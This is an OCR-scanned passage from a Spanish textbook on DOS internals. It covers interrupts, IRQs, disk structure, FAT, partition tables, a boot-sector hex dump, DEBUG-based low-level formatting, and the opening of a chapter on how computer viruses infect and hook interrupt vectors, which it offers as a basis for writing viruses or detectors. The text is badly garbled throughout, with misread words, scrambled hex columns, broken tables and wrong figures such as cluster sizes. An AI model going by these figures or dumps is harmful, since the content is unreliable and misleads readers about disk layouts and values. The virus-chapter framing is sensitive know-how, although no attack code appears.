18 Busqueda del proximo archivo.

19 Borrar un archivo.

20 Leer registro de archivo secuencial

21 Escribir registro de arcluvo secuencial,

22 Crear archivo
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23 Renombrar archivo.

33 Leer archivo de acceso aleatorio.

34 Escribir archivo de acceso aleatorio.
35 Célculo del tamafio del archivo.

42 Obtener la fecha

43 Fijar la fecha.

44  Obtener la hora.

45 Fpar la hora,

*INT 22H: Direccion de terminacidn. Guarda la direccién donde se transfiers el control
cuando termina la ejecucién de un programa.

*INT 23H- Direccion de Break. Direccidn de la ratina que se ejecuta cuando se pulsa Cirl-
Break

*INT 24H: Direccién del Manejador de errores criticos. Esta rutina se ejecuta, siempre que
se produce un error critico,

*INT 25H: Lectura directa de sectores del disco.
*INT 25H: Escritura directa de sectores dei disco.

*INT 27H: Termina un programa v devuelve el control al DOS sin borrar el programa de 1a
memona Esta interrupcion es la que utilizan los programas residentes v los
virus informaticos.

Para ver los vectores de interrupcion puede usar la utilidad DEBUG del DOS,
empleando luego ef comando D 0:0, con lo que conseguird ver los primeros 128 octetos,
que representan 32 vectores. Cada vector esta representado por 4 octetos, los dos primeros

indican el offset, y los dos siguientes el segmento. Con Q volvera de nuevo al indicativo
{C=).

Las interrupciones hardware son de dos tipos: las interrupceiones hardware internas y
las interrupciones hardware externas. Las interrupciones hardware internas también
reciben €l nombre de interrupeion ldgicas y son invocadas por el propio microprocesador
cuzando s produce alguna operacion incorrecta, como, por ejemplo, un intento de dividir
£ntre cero.

Las interrupciones hardware externas son provocadas por distintos dispositivos
periféricos que estan conectados la computadera Cada dispositivo tiene acceso a una linea
de peticion de interrupcidn, diferente. A estas lineas se les conoce por el nombre de IRQ),
Interrap Reques Line. Las computadoras 8086 y 8088 tienen 8 IRQ (IRQU a IRQ7)
mientras que los 286 y superiores tienen 16 IRQ (IRQO a IRQ1S) Cuando vn dispositivo
quiere que ¢l microprocesador lo atienda activa su iinea IRQ correspondiente.
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La hsta de las interrupciones hardware exiernas con sus comrespondientes
dispositivos asociados es la siguiente:

RQO Relog del sisterna
IRQI Teclado
IRQ2 Reservada (8088/86)
Cascada para ampliar IRQ (286 o supernior)
IRQ3 COM2 y COM4
IRQ4 COM1 y COM3
IRQ5 disco duro en 8088/86
LPT2 en 286 o superior.
IRQ6 Unidad de disco flexibles
RQ7 LPTI
IRQ8 Reloj en tiempo real.
IRQ9 Redireccion cascada I[RQ2
IRG10 Reservada.
IRQ11 Reservada.
RQI12 Ratén en modo PS/2.
IRQ13 Excepcién en coprocesador 80287.
IRQ14 Reservada.
IRG15 Dhsco duro.

5.6 LA INFORMACION EN EL DIiSCO
2 6.1 ESTRUCTURA DEL DISCO

Un disco es un platillo de plastico resistente, Myla, recubterto por una capa de
material magnético. La unidad de disco es un dispostiivo que permite leer y eseribir
informacion en un disco. La informacion: Contenida en el disco es sempermanente y no
volatil, pudiendo leerse y modificarse esta informacion tantas veces come se guiera,

Existen dos tipos fundamentales de unidades de disco unidades de discos flexibles
y unidades de discos duros.

Las unidades de discos flexibles son aguellas que leen la informacion contenida en
unos discos gue son transportables e independientes de la propia unidad. A estos discos se
les llaman discos flexibles,

Las unidades de discos dures leen la informacidn de unos discos gue forman parte
de la propia unidad, y por tanto no pueden ser separados de ellas ni intercambiados con los
de otras computadoras Tienen la ventaja de tener mucha més capacidad.

Los discos, independientemente de si son flexibles o dures, pueden tener dos
tamafios, 5,25 pulgadas v de 3.5 pulgadas, También pueden ser de simple o doble cara,
dependiendo de si guardan la informacion por una o por las dos caras.
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Las unidades de discos duros contienen 2 o mas discos apilados sobre un gje central
y aislados compietamente del exterior. Por un lado, los elementos moviles de los discos
duros estdn mucho mejor construados, el sistema gira mucho mas rapidamente y los discos
son de mayor densidad  Esto hace que 1a capacidad de los discos duros sea muchoe mayor
que la de los discos flexibles

Partes dgicas de un disco. Pistas y sectores

La capacidad de los discos flexibles varia desde los 160 Kbytes a los 2.8 Mbytes
{aungue recientemente han salido al mercado discos de 21 Mbytes),

La capacidad de los discos duros varfa entre 10 Mbytes y 3.5 Gbytes, estando los
discos duros de 10, 21, 40 v 80 Mbytes en desuso.

2.6.2 SECTORES, PISTAS, CILINDROS Y CLUSTERS

Los datos se almacenan en el disco en circulos concéntricos, Hamados pistas {(tracks
en inglés), v cada una de estas pistas se divide en sectores de 512 bytes. El nimero total de
sectores de un disco es 1gual al nimero de pistas por cara por el nimero de sectores por
pistas por €] mimero de caras, Los discos flexibles tienen solo dos caras, pero los discos
duros tienen mas de dos caras, ya que est4n formados por varios discos paralelos que
comparten un mismo eje. Esto altimo da lugar al concepto de cilindro. Se llama cilindro al
conjunto de todas las pistas de un mismo nimero de todas las caras. Asi, ei cilindro 0 sers
¢l conjunto formado por 1a pista 0 de Ia cara 0, 1a pista 0 de la cara |, la pista 0 de la cara 2,
la pista O de la cara 3, etc. Bl nimero total de cilindros de un disco duro es igual al ndmero
total de pistas de cualquiera de sus caras. ’

Los sectores que se encuentran en las pistas mas cercanas al centro del disco son
mas pequefios gue los sectores del exterior, sin embargn almacenan lz misma cantidad de
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informacion. Es mas facil controlar pistas que tienen todas un mismo nimero de sectores,
que pistas en 1as que el nomero de sectores varfa dependiendo de la posicion de la pista
S6lo algunos discos dures modemnes de mas de | Mbytes colocan mas sectores en las pistas
exteriores que en las interiores. La técnica que uitlizan éstos discos es conocida por las
letras ZBR, Zone Bit Recording.

Por otro lado, como cada archivo almacenado en el disco puede ser modificado,
ampliado o borrado independientemente del reste de los archivos contemdos en el misme,
no siempre €s posible mantener juntos todos los sectores que componen un archivo, por lo
que es normal el hecho de que estos sectores estén dispersos por las distintas pistas del
disco

TAMARNO DE CLUSTER EN DISCOS DUROS

Tipo de disco o particién Sectores por cluster Tamaho del cluster
Menos de 15 Mbytes 8 4056 bytes
15 - 128 MBytes 4 2048 bytes
128 - 256 MBytes 8 4056 bytes
256 - 512 MBytes 16 8192 bytes
512 MBytes - 1 Gbyte 32 16384 bytes

Tamariio de cluster en discos duros

Eremplo de localizacion de un archivo de 4096 bytes en un disco
de 2 sectores por cluster. 40961312=8 sectores; 812=4 clusters

Para mimmizar la posibilidad de fragmentacién de los archives, se défine el cluster, gue es el
minimo nimero de sectores que tienen que estar contiguos. Los cluster pueden estar formados por 1, 2,
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4, 8 0 16 sectores, dependiendo del tipo de disco Asi en el Glumo caso, los sectores que fienen la
informacién de un determinado archrvo estardn contiguos al menos de dieciséis en dieciséis.

ARCHIVO FORMADO POR 4 SECTORES CONTIGUOS. EN MEDIA REVOLUCION
SE HA LEIDO EL ARCHIVO
(CASO IDEAL)

ARCHIVO FORMADO POR 4 SECTORES DISPERSOS. SE NECESITAN DOS
REVOLUCIONES PARA LEER EL ARCHIVO.
(CLUSTER DE 1 SECTOR)



ARCHIVO FORMADO POR 4 SECTORES DISPERSOS. SE NECESITA UNA
REVOLUCION PARA LEER EL ARCHIVO.
(CLUSTER DE 2 SECTOR)

Comparacion de distintas configuraciones de sectores por cluster

Seghn lo anterior, lo minimo que ocupa un archivo en un disco es un cluster, y s1 los
clusters tienen muchos sectores se desaprovechara mucho espacio (por gjemple, un archivo
de 100 bytes ocupara en un disco que tenga clusters de 4 sectores el espacio de 2 Kbytes),
aunque se ganara en rapidez de acceso al archivo,

2.6.3. FAT Y DIRECTORIO

Para que la computadora pueda acceder a cada uno de los archivos contenidos en el
disco, cada disco contiene una lista de Jos archives almacenados en el mismo, llamada
director1o, ¥ una lista de los cluster que ocupa cada archivo, llamada tabla de localizacién
de archivos o FAT (File Allocation Table).

El directorio contiene la informacién relativa al nombre de cada archivo, el tamafio,
fecha de creacion, tipo, efc. y el primer cluster del disco donde hay datos def archive,

Cuando queremos leer un archivo, el sistema operativo mira en el directorio en qué
cluster comienza el archivo, para, una vez leido dicho cluster, acudir a la FAT para ver qué
cluster es el que sigue ai ya leido. Dicho proceso continua hasta que la FAT indique que se
ha Ilegado al Gitimao cluster del archivo.
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Tabia de particiones
{resto de pista sin usar)

Sector de 0 al 16 (FAT)

Sector de 17 al 33 (FAT)

Sector de 34 al 50 (FAT)

Sector de 51 al 67 (FAT)

Sector de 68 al 84 (FAT y directorio)
Sector de 85 al 101 (directorio)
Sector de 102 al |18 (directorio) .

Localizacion de los sectores del sistema en un disce duro

La FAT, ademas, nos dice gué clusters estan disponibies para asignarlos a archivos,
asi como qué clusters no son utilizables a causa de defectos del disco. Para facilitar 1a
localizacion del directorio v de la FAT en un disco, éstos estan situados al principio del
mismo, en ¢l primer sector de la pista mas externa, anies gue cualquier archivo del usuario.

La longitud del directoric es en principio fija, y cada archivo ocupa 32 bytes del
directorio, por lo que en un disco cabrian un nimere maximo de archivos,
independientemente de Ia longitud de estos archivos, y limitado por la capacidad del
directorio. Para evitar esto, a partir de esie directorio, amado directorio prncipal o
directorio raiz, se pueden crear nuevas estructuras de directorios, llamadas en este caso
subdirectorios.

Un subdirectorio no es mas que una lista de archivos que guardan informacion
similar a la contenida en el directorio principal. Cada subdirectorio puede contener, a su
vez, otros subdirectorios, formindose de estz manera una estructura de directorio de
archivos en arbol.

El DOS limita el espacio del directorio raiz, pero no el de los subdirectorios, por lo
que éstos pueden contener un nimero ilimitado de archivos, 0 mejor dicho, limitado solo
por 1a capacidad del disco.

Ademas del directorio principal y de la FAT, los discos reservan un espacio especial
para los registros de carga, o boot record. Estos registros son parte del sistema operativo y
por consiguiente estan solo en los discos que han sido preparados para é1 con el comando
DOS correspondiente. La misidn de los mismes es inicializar el sistema operativo cada vez
que arrancamos la computadora. El registro de carga se encuentra en el sector 0, donde
también se encuentran los dates particulares del disco que estemos utilizando, n° de
sectores por pista, espacio reservado para el directorio rafz, etc.
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Un disco esta orgamzado por tanto de la siguiente forma. En el sector cero del disco
se sitia primero ios datos particulares dei disco y luego el registro de carga, a continuacidn
vienen los sectores reservados para la FAT, que se mantiene por duplicado para prevenir
errores, después vienen los sectores del directorio principal, y por ultimo, los sectores para
los archivos del usuario, que tienen a su disposicion el resto del espacio del disco

El registro de carga existe solo en aquellos discos que tienen cargado el sistema
operativo  El tamafio de la FAT y del directorio raiz depende del disco que estemos
utilizando

2.6.4 TABLA DE PARTICIONES

Una de las caracteristicas mas nteresantes de los discos duros es que pueden
contener multiples sistemas operativos gracias a la posibilidad de hacer particiones del
disco

En un disco duro se pueden hacer hasta 4 particiones, fo cual quiere decir que
podemos convertirlo en cuatro discos duros independientes, cargando en cada uno de ellos
un sistema operativo distinto, DOS, XENIX, UNIX, CP/M, etc, aunque solo une de estos
ststemas operativos pueden estar activo en cada momento.

Los discos duros contienen, un sector donde guardan Iz informacién relativa a sus
distintas particiones. Este sector recibe el nombre de tabla de particiones, siendo éste el
sector 0 del cilindro € de la cara O del disco duro. El sistema operativo marca este sector
como sector reservado.

2 6.5 SECTOR FISICO Y SECTOR LOGICO

Un disco tiene una organizacién fisica de la informacidn v una organizacidn iogica.
La organizacion fisica divide al disco en caras, pistas o cilindros y sectores. En general, un
disco esta formado por un nimero determinado de caras (n), cada cara esta formada por un
numero determinado de pistas (p) y cada pista estd formada por un namero determinado de
sectores (s). Las caras estdn numeradas de 0 a n-1, [as pistas o cilindros estdn numerados
de 0 a p-1 y fos sectores estdn nuinerados de L a s.

EJEMPLO DE DISTRIBUCION DE ESPACIO DE UN DISCO DURQ

{Disco duro de 20 M, 4 caras, 17 sectores por pista, 4 sectores por cluster) _’

CILINDRO CABEZA SECTOR SECTOR CLUSTER FUNCION
FISICO  LOGICO
0 0 1 - - Tabla de particiones
0 0 2al 17 - - Sin usar
0 1 1 0 - Sector de arranque
0 1 2al 17 1al 16 - Primera copia de FAT
0 2 1al17 i7al33 - Primera copia de FAT
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0 3 I alg 34 al 41 - Primera copia de FAT _]

0 3 9al 17 42 al 50 - Segunda copiz de FAT |
1 0 lal 17 51 al 67 - Segunda copia de FAT

! 1 lalis 68 al 82 - Segunda copia de FAT

1 1 16al 17 83 al 84 - Directorio raiz

] 2 lal 17 85 al 101 - Directorio raiz

1 3 tall3 102 al 104 - Directorio raiz

i 3 14al 17  115al 118 2 Primer cluster de datos

2 0 lall6 119 al 134 Jalé6  cluster de datos

Ejemplo de distribucion de espacio de un disco duro

La organizacidn légica solo divide al disco en sectores, numerandofos éstos de 0 a t,
siendo t el nlmero total de sectores 1ogicos del disco. En los discos flexibles, el ntimero
total de sectores 16gicos coincide con el nitmero total de sectores fisicos; esto es, comgeide
con el resultado de la mudtiplicaciéon n*p*s. Sin embargo, en un disco duro el nimero total
de sectores logicos es el nimero total de sectores fisicos menos los sectores que caven en
una pista, ya que todos los sectores de la pista que contiene el sector de la tabla de
particiones no se consideran como sectores logices, sinto como sectores reservados. La
tabla de particiones es el "primer” sector fisico (sector fisico 1 del cilindro 0 de la cara 0),
el resto de los sectores fisicos de esa pista no son utilizados. EI primer sector légico (sector
togico 0, sector de arranque), es el sector fisico 1 del cilindro 0 de la cara 1, el segundo
secior logico (sector logico 1), es el sector fisico 2 del cilindro 0 de la cara 1.

2.7. DESCRIPCION DETALLADA DEL DISCO

2.7.1. SECTOR DE ARRANQUE

El sector de arranque es el sector que primero lee el DOS siempre que va acceder a
un disco por primera vez, de ahi su nombre; este sector es el mas externo de |2 superficie
del disco (sector (), y su principal funcién es la de guardar toda {a inforrmacion relativa a
las caracteristicas del disco, asi como contener las rutinas de arranque de la compuiadora
{en mnglés bootstrap) cuando el disco tiene cargado el sistema operativo.

La mformacién contenida en €l sector de arranque es la sigwente:
CARACTERISTICAS FISICAS:

* Byte descriptor del medio.

* Namero de caras,

* Ninero total de sectores del disco.

* Nimero de bytes por sector del disco.
* Nitmero de sectores por cluster

* Numero de sectores por pista.
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BYTES DEL SECTOR DE ARRANQUE

DEL

04
i2
14
15

17
LS

18
20
22
23
23
27
29

AL

11
13
14
16
19
21
22
24
26
28
30

INFORMACION

Verston del DOS

Bytes por sector

Sectores por cluster
Sectores reservados

N°de copias de FAT

N° de entradas del directono rafz
Sectores totales

Byte descriptor del medio
Sectores por FAT

Sectores por pista

N° de caras

Sectores ocultos especiales

Localizacion de la informacion del sector de arranque

CARACTERISTICAS LOGICAS:

- Nimero de sectores reservados.
- Ntmero de copias de la FAT.
- Niimero de sectores por FAT.
- Nitmero de entradas maximas del directonio raiz,
- Nimero de sectores ocultos especiales.

SISTEMA OPERATIVO:

* 51 tiene o no cargado el sistema operativo, y st lo tiene, qué version es.

* Rutina de arranque o Bootstrap (si el disco tiene cargado €l sistema operative).
* Mensaje de error "Disco sin sistema o defectuoso. Reemplécelo..

~ Nombre de los archivos oculios del sistema operativo, si los tiene cargados.

El sector 0 siempre debe acabar con los valores S5AA (en hexadecimal).

Sector 0

00000000:
00000010:

00000020

00000030:
00000040:
0000005¢:
00000060:
00000070:

EB
a2
10

4D

Co
16
of

CD

3C 90
00 02
20 03
45 20
8E DO
53 BF
88 (E
13 72

4D
00
00
20
BC
3E
18
79

53 44
00 F8
80 00
20 20
00 7C
7C BS
7C 88
33 C0

4F
64
29
46
16
0B
4D
39

53
00
AB
41
07
00
F9
06

- 35 2B 30 00 02 08 01 00
- 33 00 0D 00 33 00 00 00
- 9B El IA AR AF 20 4E 4I
- 54 31 36 20 20 20 FA 33
- BB 78 00 36 C5 37 1E 56
- FC F3 A4 06 1F C6 45 FE
- 89 47 (2 C7 07 3B 7C FB
- 13 7C 74 0% 8B (0E 13 7C



0000008C
GO00069G
000000A0
000000BG
000000C0

000000D1.
G0000CED.

000000FO:
00000100
00000110:
00000120.
00000130:
00000140:
00000150
00000160:
00000170:
00000180
00000190

000001 A0:

000001BO

000001C0:;
000001D0-

O0GOO1EQ.
000001FQ:

89
i6
7C
IE
00
BO
Ab
E8
58
F7
50
72
15
70
3B
EB
02
10
4D
Co
16
of
CD
89

0L
iE
Al
0B
BB
01
75

5F
R

s}

E3
52
BB
7C
00
16
3C
00
20
45
8E
53
8B
13
OE

20
7C
49
7C
00
ES
0A
00
58
03
51
05
8A
AC
I8
%0
02
03
20
DO
BF
OE
72
20

7C
a3
7C
03
05
AC
8D
33
EB
06
E8
01
16
OA
7C
4D
00
60
20
BC
3E
18
79
7C

AD
0&
89
C3
3B
00
¥
Co
Eg
49
3A
00
24
<0
73
53
00
80
20
00
7C
7C
33
AD

10
0E
6
48
16
72
20
CD
g8
7C
00
83
7C
74
19
44
F8
06
20
7C
B9
88
o
10

7C
7C
4B
F7
52
16
B9
16
47
13
72
D2
8B
29
F7
4F
64
29
46
16
oB
4D
39
7C

F7
83
7C
F3
7C
8B
0B
5E
A
16
D8
00
1E
B4
36
33
60
AB
41
07
00
o
06
F7

26
D2
B8
01
Al
F§
00
00
{F
4B
BO
03
49
OE
18
35
33
9B
54
BB
FC
89
13
26

16
00
20
06
50
BS
F3
F3
gF
7C
01

1E
7C
BR
7C
2E
00
El

31

78
F3
47
7C
16

Contenido de un sector de arrangue

7C
A3
00
49
7C
0B
A6
Ab
04
BB
E8
0B
Al
07
FE
30
0D
1A
36

A4
G2
74
7C

03
50
F7
7C
E3
00
74
74
g8k
00
54
7C
4B
00
C2
00
00

20
36
06
C7
08
03

G6
e
26
&
92
BE
18
18
44
07
00
K2
7C
CD
88
02
33

20
Cs
IF
a7
8B
06

1c
89
11
16
00
E7
BE
BE
02
B9
59
E2
EA
10
16
08
00
20
20
37
Cé
3E
0E
1C

7C
i6
7C
4B
72
D
9E
SE

[ D)

s

03
SA
8A
00
EB
4
01
09
4B
FA
1E
43
7C
i3
55

45

13
52
88
7C
1D
F3
7D

10

i34

00
58
2E
00
F2
7C
Q0
0o
41
33
56

7C

El byte descriptor del medio, MBD (Media Descriptor Byte), es byte que nos
informa del tipo de disco con el que trabajamos de acuerdo con la siguiente tabla:

FE =160 K 58S

FF=320K DS
FC=180K 8§

FD = 360K DS
F9="720K, 1.2M 1.44M DS
F§ = DISCO DURO
FO0=OTROS

NOTAE!L sector i6gicoe 0, sector de arranque, en los discos flexibles es el mas
externo de la cara 0. En los discos duros, sin embargo, el sector 1ogico 0 es el més externo
de la cara I, ya que el mds externo de la cara 0 es el sector reservado a la tabla de

particiones
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2.7.2 TABLA DE PARTICIONES

Un disco duro puede dividirse en varias partes, haciendo como st se dispusiera de
varios discos duros distintos.  Estas partes reciben el nombre de particion y cada una de
ellas puede contener un sistema operativo distinto

La tabla de particiones recoge cuantas particiones se ie han hecho al disco, qué
sistemas operativos tienen cargados, cudl de ellos se va a cargar cuando se arranqgue la

computadora, en qué cara, cilindro y sector empieza v acaba cada particitn, asi como el
nirnero de sectores que ocupa cada una.

Posicion Posicion final Sectores Nuimero de
comienzo
System Beot Cara Cilindro Sector Cara Cilindro Sector relativos  sectores
BIGDOS St i 0 1 12 308 51 51 204816
EXTEND No 0 309 1 12 721 31 204867 273819
Sin uso No 0 0 0 0 0 0 0 0
Sin uso No 0 0 0 ] 0 0 0 0

Tabla de particiones

La informacién relativa a la tabla de particiones se guarda en el sector 1 {sector
fisico 1 es el sector mids externo) del cilindro 0 de la cara 0, y puede ser creada o
modificada por el programa FDISK que acompaiia al sistema operativo. FDISK puede
crear una nueva particion, eliminar una particién existente, definir iz particion desde la que
se va a cargar ei sistema operativo cuando se arranque la computadora {particion activa) o
simplemente presentar informacion sobre las particiones actuales.

Cuando se crea una nueva particidon o se modifica el tamafio de las existentes se
tiene que formatear 2 continuacion el disco, por lo que antes de modificar la tabla de
particiones sague copias de seguridad de la misma.

2.7.3 TABLA DE LOCALIZACION DE ARCHIVOS (FAT)

La tabla de localizacion de archivos contiene la informacion que nos indica qué
clusters son los ocupados por cada uno de los archivos y cuales estan libres todavia.

El nimero de cada cluster puede estar indicado por 12 o por 16 bits, dependiendo
del tipo de disco, o mas bien del tamafio del disco; para discos flexibles y discos duros de
menos de 15 Mbytes se usan, FAT de 12 bits, y para discos duros mayores se utilizan FAT
de 16 bits. Cada uno de estos grupos de 12 & 16 bits representa un cluster, de forma que el
primer grupo representa al primer cluster, el segundo grupo representa al segundo cluster, ¥
asi sucesivamente.



Un disco flexible de [.44MB tiene 2,880 sectores, lo que en este caso son 2,880
clusters, de los cuales dedica 2.847 para datos. La FAT necesita:

2847 x 12 = 34164 bits
34164/ § =4271 bits
4271/512 =9 sectores

Como el disco guarda dos copias, FAT necesita 18 sectores. Esto quiers decir que
de los 2880 sectores, 1 es para ¢l sector de arranque, 18 para la FAT, 14 para el directorio
raiz y 2847 para datos.

En el directorio, junto al nombre de cada archivo, se encuentra el nimero del
primer cluster donde estan localizados los datos de cada uno; para saber cuales son los
siguientes clusters de cada archivo debemos de consultar en Ia FAT. Sinos situamos en la
FAT en el grupo de bits que representan ese primer cluster, ahi encontraremos el numero
del sigwente cluster del archivo 8i nos movemos a ese nuevo nimero de cluster, nos
encontraremos ef namero del siguiente, y asf sucesivamente hasta lfegar al dltimo cluster
del archivo, que esta indicado con el valor FEF o FFFF (en hexadecimal).

Los clusters libres se indican en la FAT con el valor 0, y los clusters en mal estado
con el valor FF7 o FFF7 {en hexadecimal) Los ocupados, se indican con cuaiquier otro
valor.

Podemos decir que el primer valor de la Tabla de localizacion de archivos es
siempre el MBD, Byte de descripcidn del medio (Media Descriptor Byte), el cual informa
del tipo de disco con el que estamos trabajamos. Por lo tanto, el primer nimero de cluster
que utiliza la FAT para los datos es el cluster niimero 2.

274 DIRECTORIOS

Los discos pueden ser divididos en areas 16gicas, de forma que dentro de cada drea
podemos situar archivos 0 incluso podemos situar mas dreas, formando asi una estructura
de 4reas en arbol. Estas areas reciben el nombre de directorios y subdireciorios, y en cada
una de elias se mantiene una lista de todos los archivos o subdirectorios que contiene, asi
como los datos que le hace falta al DOS para identificar, localizar y gestionar cada uno de
esos archivos o subdirectorios, como son su longitud, fecha de creacidn, posicién en el
disco, etc.

Los directorios o subdirectorios dedican 32 bytes a cada uno de los archivos o
subdirectorios que tienen. En estos 32 bytes se guarda el nombre, la fecha y la hora de su
altimo modificacién, sus atributos, el tamafio y el niimero del primer cluster donde se
encuentra la informacion en el disco ’



BYTES DEL DIRECTORIC PARA CADA ARCHIVO

DEL AL INFORMACION

00 07 Nombre de! archns 0 0 subdirectono
08 16 Extension

11 11 Atributo

i2 21 Reservados

22 23 Hora

24 25 Fecha

26 27 N? del primer cluster

28 31 Tamafio

Localizacidn de la informacion del directorio y subdirectorios
28 FORMATEAR UN DISCO EN ALTC O BAJO NIVEL

Un disco es una lamina de plastico recubieria de material magnético. Cuando el
disco 5 nuevo, no tiene, mnpuna informacidn grabada en su superficie. Sin, embargo, para
que et DOS pueda empezar a utifizarlo, tiene que tener marcada la posicion de cada uno de
ios sectores en cada una de ias pistas, tiene gue tener la informacion de las caracteristicas
del disco grabadas en el sector 0, tiene que tener ¢l valor 0 en todas lzs posiciones de los
clusters en la FAT, y por gliimo, tiene que tener 2 0 toda la informacion del directorio raiz

Todas las informaciones anteriores son grabadas en el disco cuando este es
formateado; ademas, si en el disco queremos que tenga cargade el sistema operativo,
entonces hay que grabarle en el sector 0 el registro de carga, hay que situar los archivos
ocnltos del DOS 2l principio de la zona de datog, y por fAltimoe, hay gque copiarle el
COMMAND.COM. Sin embargo, no todos los procesos comentados s¢ realizan en una sola
operacion, pudiendo dividirse el proceso en formateo a bajo nivel y formato 5 alto nivel.

Con él formato a bajo nivel se consigue la magnetizacidn del disco, poniendo las
marcas de posicion de cada vuno de los sectores y escribiendo el valor F6 en todos los bytes
del mismo, comprobando de esta forma si alguno de ellos tiene defectos fisicos, en cuyo
caso se marca en la FAT el cluster correspondiente como defectuoso.

El formate a alto mivel, por su parte, pone toda la mformacién necesaria en el
sector 0, la FAT v el directorio raiz.

2.8.1 DISCOS FLEXIBLES

En los discos flexibles podemos diferenciar entre usar el comando FORMAT cen
una version anterior o posterior a la 5.0 del MS-DOS. En el caso de usar una version
anterior a la 5.0 del sistema operativo de Microsoft, el comando FORMAT realiza un
formateo a alto y bajo mvel simpltineamente, sin poder diferenciar un procesg de ofro, y
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lestruyendo completamente la informacion exwstente en el disco antes del formate Sin
:mibargo, con [a version 5.0 y posteriores se ba valorado la ventaja de poder formatear un
disco flexible solamente alto nivel, con o cual se consigue que e proceso de formato sea
mas rapudo v gue en case de haber efecmado un formato accidental se pueda recuperar la
mformacion.

Si cont estos auvevos sistemas operativos utilizamos ef comando FORMAT con un
disco flexible gue ya estaba formateadn, solo se formatearsn la FAT v ef directorio raiz,
comprobandose también si hay algin sector defectuoso en el disco para marcarlo come
errbnen, pern 0o s¢ formaies gl srea de los dafos. Este hecho permue que posterionmente
se pueda utifizar el comando UNFORMAT para recuperar ¢l disco recientemente
formateade.  Ademas de esta opeidn, este nuevoe comando FORMAT permite hacer, por
gjenplo: FORMAT A:

Para realizar un formateo répido {gnit), mediante el cual solo se crean un nuevo
directorio v la FAT, pero oo se verifican los posibie sectlores defectuoses. Esto es ideal
para discos ya formateados que estemos seguros gue estan en buenas condiciones,

FORMAT a. /g

Para formatear completamente un disco, aunque vya estuviese formateado
antepormente, sin posibilidad de restablecer pasteriorments ¢ disco con 6 comande
UNFORMAT.

2.82 DISCOS DUROS

En un disco duro siempre estd diferenciado el formato a alto nivel del formato g
bajo nivel St un disco va formateado se voelve a formatear a alto nivel, los datos que
contenia no son tocados, aunque si se borran las referencias que sobre esos datos existian
en la FAT v en el directorio raiz Kl formato a bajo nivel se puede realizar usando
cualguiera de los programas de utilidades gue existen, como HFORMAT o HDINIT de
PCTools Deloxe, o bien puede usarse ta otlidad DEBUG det QS El formateo a alte
nivel se realiza con el comando FORMAT del DOS.

Antes de continuaz, recuerde gue si su disco duro es del tipo Bus AT, o logue es lo
mirso, fipo IE, emonces no debe de intentar formateardo a bajo nivel, presio gue en exte
caso este formato ya viene realizado de fabrica v podia Hegar a inutilizatlo.

Para realizar up formate a baio mvel utlizando el programa DEBUG dei DOS
debemos teclear o siginente: C- eedelwy

3=C800:5 (para la mayvoria de las controladoras MEMy SCS T o

-G=CCO0S fpara la mayoria de las contreladoras RIL)



Con esto se activara 1a BIOS de la controladora y se podrd imciar ef formato a bajo
mvel. A partir de acui debe seguir las instrucciones que aparecen en pantaila, ya que cada
uno de los mualtiples tipos de controladoras tiene su propio sistema. Sin embargo,
generalmente le preguntard ef nombre de la unidad de disco a ta cual quiere acceder, el
factor de intercalado, el nimere de cthndros y de cabezales, ademds de otras informaciones
que, en general, si no sabe puede dejar en blanco

51 los comandos anteriores no funcionan, se pueden infentar los siguientes.
~(3=C800: 6 g -G=CR00:CCC

Si éstos tambien fallan, deberia condactar con el distribuidor o fabricante del disco
duro

Los fabricantes adjuntan con su unidad de disco durc una hoja de datos donde nos
indican los cilindros y cabezales disponibles, ademas de una lista de pistas defectuosas
marcadas con él titulo de "Bad Track Table" (BTT). No existe ningtn disco duro que sea
suministrado sin ningin tipo de defectos, sin embargo éstos no deben superar el 1% de la
capacidad total disponible en el disco.

El intercalado, o imterieave, significa que aungue los sectores estan numerados
secuencialmente, sin embargo, fisicamente en ef disce no siguen la misma disposicion.
Entre un sector gico v <l siguiente puede haber colocados un par de sectores. La razén
del intercalado estd en que el disco lee fa informacidn mds rapidamente de que fa
computadora puede asimilar {tenga en cuenta que el disco duro gira a 3600 revoluciones
por minuto). Asi que, para dar tiempo 2 la controladora v a la computadora a transferir y
procesar los datos que se estdn levendo del disco, entre un sector ldgico vy ¢l siguiente se
sithan otros secteres por los que tiene que pasar la cabeza de lectura, pero sin leerlos.
Durante este tiempo, la computadora ya ha asimilado la informacion dei dltimo sector
leido.

Un factor de intercalado 4:1 indica que por cada 4 sectores fisicos hay un solo
sector 16gico, o lo que es lo mismo, entre el sector [gico nimero 1 v el nlmero 2 existen 3
sectores con ofra numeracion,  De aqui se deduce que un disco con este factor de
mtercalado necesitara cuatro vueltas sobre una misma pista para leer todos sus sectores

Para hacernos una idea del orden de valor de este factor, los primeros PC tipo XT
tenian un factor de intercalado 6:1, los nuevos XT que aparecieron mds tacrde con relojes de
8 MHz, tenian un intercalado de 4:1, los més modemos PC-AT tienen factores de
intercalado de 3:1 vy 2:1, dependiendo de la frecuencia de su reloy. Mientias que los mas
rapidos 386 y 486 pueden llegar a tener un factor 1:1.



CAPITULO 111
ANALISIS DE LOS VIRUS INFORMATICOS

Fl propdsito de este capitulo es de ensefiar a defenderse de los virus informéticos, Y
para poder entender a los virus es necesario pritnero ensefiar, como funcionan. Al rmine
de este capitulo se tendrén los conocimientos bdsicos para poder disefiar un virus, pere por
[a misma razén puede disefiar también una vacuna o un detecior

Hay quienes sostienen que ¢s mejor no publicar aquello que pueda ser mal
utilizado. El resultado es, siempre, que quien quiere hacer dafio se procura los
conocimientos de una forma u otra, mientras que quien solo quiere estar tranquilo se queda
siempre en [a mopia. Y ello es asi porque, siempre, ef deseo de hacer dafio es una
motivacion mas fuerie que la autodefensa.

Ojala tuviéramos en este pais tantos pequefios genios hacedores de virus como se
puede encontrar en USA, porque eso querria decir gue también habria otra legién de ellos
dedicados a la creacidn de software comercial,

Las rutinas de este capftulo han sido desarrolladas en lenguaje ensamblador. No es
el propdsito de ensefiar los fundamentos bésicos de programacion, por io que es necesario
tener algunos conocimientos de programacién de bajo nivel

3.1. FASES DE ACTUACION DE UN VIRUS
12 FASE.- INFECCION (DISCO -~ MEMORIA)

Esta serd la fase en la que el virus se instalard en memoriz de la computadora a
consecuencia de [z ejecucion de algtn programa infectado, bien un programa COM o EXE,
en el caso de en virus BOOT, tras arrancar la computadora con un disco infectado Tras su
instalacion en memoria, ¢l virus redireccionara uno o varios vectores de interrupcion,
haciéndoles apuntar a determinadas subrutinas integrantes del propio virus, como por
gjempio el vector de interrupecion 21H (Funciones del DXOS), gque es redireccionado
practicamente por todos ios virus COM y EXE. Tras la ejecucidn de las mencionadas
subrufinas, siempre continuara procesandose el codigo correspondiente a ja interrupcion
interceptada Esqueméticamente este proceso se podria representar de [a siguiete forma:

